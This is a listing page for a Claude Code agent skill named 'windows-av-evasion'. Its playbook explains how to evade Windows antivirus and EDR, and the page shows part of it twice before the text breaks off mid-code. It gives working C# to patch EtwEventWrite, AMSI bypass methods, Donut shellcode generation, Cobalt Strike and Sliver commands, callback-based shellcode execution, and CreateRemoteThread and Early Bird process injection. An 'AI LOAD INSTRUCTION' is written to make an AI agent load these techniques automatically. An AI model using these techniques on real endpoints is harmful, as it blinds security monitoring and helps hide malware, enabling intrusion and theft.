/windows-av-evasion
AV/EDR evasion playbook for Windows. Use when bypassing AMSI, ETW, .NET assembly detection, shellcode execution, process injection, API hooking, and signature-based detection on Windows endpoints.
$ npx -y skills add yaklang/hack-skills --skill windows-av-evasion --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/windows-av-evasion
Context preview
The summary Claude sees to decide when to auto-load this skill.
AV/EDR evasion playbook for Windows. Use when bypassing AMSI, ETW, .NET assembly detection, shellcode execution, process injection, API hooking, and signature-based detection on Windows endpoints.
SKILL.md
windows-av-evasion.SKILL.mdname: windows-av-evasion
description: >-
AV/EDR evasion playbook for Windows. Use when bypassing AMSI, ETW, .NET assembly detection, shellcode execution, process injection, API hooking, and signature-based detection on Windows endpoints.
SKILL: AV/EDR Evasion — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert AV/EDR evasion techniques for Windows. Covers AMSI bypass, ETW bypass, .NET assembly loading, shellcode execution, process injection, unhooking, payload encryption, and signature evasion. Base models miss detection-specific bypass chains and syscall-level evasion nuances.
0. RELATED ROUTING
Before going deep, consider loading:
- [windows-privilege-escalation](../windows-privilege-escalation/SKILL.md) when privesc tools are blocked by AV
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) when lateral movement tools trigger EDR
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) when Rubeus/Mimikatz are detected
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for non-binary AD attacks (less AV-sensitive)
Advanced Reference
Also load [AMSI_BYPASS_TECHNIQUES.md](./AMSI_BYPASS_TECHNIQUES.md) when you need:
- Detailed AMSI bypass code patterns (memory patching, reflection)
- PowerShell-specific AMSI bypasses
- .NET AMSI bypass techniques
---
1. AMSI BYPASS OVERVIEW
AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime.
Key AMSI Bypass Categories
| Category | Method | Detection Risk | Persistence | |---|---|---|---| | Memory patching | Patch `AmsiScanBuffer` in `amsi.dll` | Medium | Per-process | | Reflection | Modify AMSI init flags via .NET reflection | Medium | Per-session | | String obfuscation | Encode/split AMSI trigger strings | Low | Per-payload | | PowerShell downgrade | Force PS v2 (no AMSI) | Low | Per-session | | CLM bypass | Escape Constrained Language Mode | Medium | Per-session | | COM hijack | Redirect AMSI COM server | Low | Per-user |
Quick AMSI Bypass (One-Liners)
# PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)
powershell -Version 2
# Reflection-based (set amsiInitFailed = true)
# Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns
---
2. ETW BYPASS
ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching `EtwEventWrite` stops .NET assembly load events.
Patch EtwEventWrite
// C# — patch EtwEventWrite to return immediately
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Write: ret (0xC3) to first byte
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);PowerShell ETW Bypass
# Disable Script Block Logging (ETW provider)
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
# Set internal field to disable ETW tracing---
3. .NET ASSEMBLY LOADING
In-Memory Assembly.Load
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// Or download from URL, decrypt from resource
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });Donut — Convert .NET Assembly to Shellcode
# Generate shellcode from .NET EXE
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
# With parameters
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
# Then load shellcode via any injection technique (§5)
execute-assembly (C2 Framework)
# Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast
# Sliver
execute-assembly /path/to/SharpHound.exe -c all
# Havoc
dotnet inline-execute /path/to/tool.exe args
---
4. SHELLCODE EXECUTION TECHNIQUES
VirtualAlloc + Callback (Avoids CreateThread)
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// Use callback API instead of CreateThread (less monitored)
EnumWindows(addr, IntPtr.Zero);
**Callback APIs for shellcode execution**: `EnumWindows`, `EnumChildWindows`, `EnumFonts`, `EnumDesktops`, `CertEnumSystemStore`, `EnumDateFormats` — all accept function pointers that can point to shellcode.
---
5. PROCESS INJECTION TECHNIQUES
| Technique | APIs Used | Detection Risk | Notes | |---|---|---|---| | **CreateRemoteThread** | OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread | High | Classic, heavily monitored | | **NtMapViewOfSection** | NtCreateSection, NtMapViewOfSection | Medium | Shared memory, less common | | **Process Hollowing** | CreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThread | Medium | Replace process image | | **Thread Hijacking** | SuspendThread, SetThreadContext, ResumeThread | Medium | Modify existing thread | | **Early Bird** | CreateProcess (SUSPENDED), QueueUserAPC, ResumeThread | Low-Medium | APC before main thread | | **Phantom DLL Hollowing** | Map DLL section, overwrite with shellcode | Low | Uses legitimate DLL mapping | | **Module Stomping** | LoadLibrary, overwrite .text section | Low | Backed by legitimate DLL | | **Transacted Hollowing** | NtCreateTransaction, NtCreateSection | Low | No suspicious allocations |
CreateRemoteThread (Basic Pattern)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Early Bird APC Injection
// Create suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, r
Read more
name: windows-av-evasion description: >- AV/EDR evasion playbook for Windows. Use when bypassing AMSI, ETW, .NET assembly detection, shellcode execution, process injection, API hooking, and signature-based detection on Windows endpoints.
SKILL: AV/EDR Evasion — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert AV/EDR evasion techniques for Windows. Covers AMSI bypass, ETW bypass, .NET assembly loading, shellcode execution, process injection, unhooking, payload encryption, and signature evasion. Base models miss detection-specific bypass chains and syscall-level evasion nuances.
0. RELATED ROUTING
Before going deep, consider loading:
- [windows-privilege-escalation](../windows-privilege-escalation/SKILL.md) when privesc tools are blocked by AV
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) when lateral movement tools trigger EDR
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) when Rubeus/Mimikatz are detected
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for non-binary AD attacks (less AV-sensitive)
Advanced Reference
Also load [AMSI_BYPASS_TECHNIQUES.md](./AMSI_BYPASS_TECHNIQUES.md) when you need:
- Detailed AMSI bypass code patterns (memory patching, reflection)
- PowerShell-specific AMSI bypasses
- .NET AMSI bypass techniques
---
1. AMSI BYPASS OVERVIEW
AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime.
Key AMSI Bypass Categories
| Category | Method | Detection Risk | Persistence | |---|---|---|---| | Memory patching | Patch `AmsiScanBuffer` in `amsi.dll` | Medium | Per-process | | Reflection | Modify AMSI init flags via .NET reflection | Medium | Per-session | | String obfuscation | Encode/split AMSI trigger strings | Low | Per-payload | | PowerShell downgrade | Force PS v2 (no AMSI) | Low | Per-session | | CLM bypass | Escape Constrained Language Mode | Medium | Per-session | | COM hijack | Redirect AMSI COM server | Low | Per-user |
Quick AMSI Bypass (One-Liners)
# PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2) powershell -Version 2 # Reflection-based (set amsiInitFailed = true) # Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns
---
2. ETW BYPASS
ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching `EtwEventWrite` stops .NET assembly load events.
Patch EtwEventWrite
// C# — patch EtwEventWrite to return immediately
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Write: ret (0xC3) to first byte
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);PowerShell ETW Bypass
# Disable Script Block Logging (ETW provider)
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
# Set internal field to disable ETW tracing---
3. .NET ASSEMBLY LOADING
In-Memory Assembly.Load
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// Or download from URL, decrypt from resource
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });Donut — Convert .NET Assembly to Shellcode
# Generate shellcode from .NET EXE donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main # With parameters donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt" # Then load shellcode via any injection technique (§5)
execute-assembly (C2 Framework)
# Cobalt Strike execute-assembly /path/to/Rubeus.exe kerberoast # Sliver execute-assembly /path/to/SharpHound.exe -c all # Havoc dotnet inline-execute /path/to/tool.exe args
---
4. SHELLCODE EXECUTION TECHNIQUES
VirtualAlloc + Callback (Avoids CreateThread)
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40); Marshal.Copy(sc, 0, addr, sc.Length); // Use callback API instead of CreateThread (less monitored) EnumWindows(addr, IntPtr.Zero);
**Callback APIs for shellcode execution**: `EnumWindows`, `EnumChildWindows`, `EnumFonts`, `EnumDesktops`, `CertEnumSystemStore`, `EnumDateFormats` — all accept function pointers that can point to shellcode.
---
5. PROCESS INJECTION TECHNIQUES
| Technique | APIs Used | Detection Risk | Notes | |---|---|---|---| | **CreateRemoteThread** | OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread | High | Classic, heavily monitored | | **NtMapViewOfSection** | NtCreateSection, NtMapViewOfSection | Medium | Shared memory, less common | | **Process Hollowing** | CreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThread | Medium | Replace process image | | **Thread Hijacking** | SuspendThread, SetThreadContext, ResumeThread | Medium | Modify existing thread | | **Early Bird** | CreateProcess (SUSPENDED), QueueUserAPC, ResumeThread | Low-Medium | APC before main thread | | **Phantom DLL Hollowing** | Map DLL section, overwrite with shellcode | Low | Uses legitimate DLL mapping | | **Module Stomping** | LoadLibrary, overwrite .text section | Low | Backed by legitimate DLL | | **Transacted Hollowing** | NtCreateTransaction, NtCreateSection | Low | No suspicious allocations |
CreateRemoteThread (Basic Pattern)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid); IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40); WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _); CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Early Bird APC Injection
// Create suspended process STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, r
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
Other skills on hack-skills.
- /401-403-bypass-techniques
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
Open skill - /active-directory-acl-abuse
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
Open skill - /active-directory-certificate-services
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
Open skill - /active-directory-kerberos-attacks
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
Open skill - /ai-ml-security
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
Open skill - /android-pentesting-tricks
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
Open skill

